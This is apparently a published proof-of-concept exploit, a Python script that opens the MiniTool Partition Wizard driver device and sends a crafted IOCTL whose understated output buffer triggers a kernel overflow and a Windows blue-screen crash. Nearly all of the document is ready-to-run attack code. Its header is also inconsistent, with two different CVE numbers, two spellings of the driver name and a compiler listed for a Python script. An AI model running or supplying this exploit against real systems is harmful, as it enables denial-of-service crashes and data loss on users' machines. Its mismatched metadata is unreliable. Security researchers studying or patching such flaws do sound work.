""" Exploit Title: CVE-2026-36981 Minitool pwrdvio.sys Kernel BSOD Date: 2026-02-09 Exploit Author: patchmeifucan - patchmeifucan.com Vendor Homepage: https://github.com/canomer/CVE-2026-36980-Kernel-BSOD-DoS-PoC Software Link: https://www.minitool.com/partition-manager/ Version: <=13.6 Tested on: Windows 10 / Windows 11 / x86_64-w64-mingw32-g++ (GCC) 15-win32 CVE : CVE-2026-36980 Run Command : ~$ Dos_PoC.py """ import ctypes from ctypes import wintypes # Device path DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0" kernel32 = ctypes.windll.kernel32 # Windows API definitions kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE] kernel32.CreateFileW.restype = wintypes.HANDLE kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID] kernel32.DeviceIoControl.restype = wintypes.BOOL def trigger_bsod(): print("[*] MiniTool pwdrvio.sys DoS Exploit") print("[*] Triggering Blue Screen of Death...") # Open device handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None) if handle == wintypes.HANDLE(-1).value or handle is None: print("[-] Failed to open driver") print("[-] Ensure MiniTool Partition Wizard is installed") return print("[+] Driver opened successfully") # Vulnerable IOCTL code TARGET_IOCTL = 0x22000d # Input buffer: 1024 bytes of 0xFF input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024)) # Output buffer: Only 4 bytes (but claim 8192!) real_output_buffer = ctypes.create_string_buffer(4) fake_output_length = 8192 # Driver trusts this value → Overflow! bytes_returned = wintypes.DWORD(0) print("[!] Sending malicious IOCTL...") print("[!] System will crash in 3...2...1...") # Trigger buffer overflow → BSOD kernel32.DeviceIoControl( handle, TARGET_IOCTL, input_buf, 1024, real_output_buffer, fake_output_length, # ← Vulnerability trigger ctypes.byref(bytes_returned), None ) # This line will never execute print("[*] If you see this, the exploit failed") if __name__ == "__main__": trigger_bsod()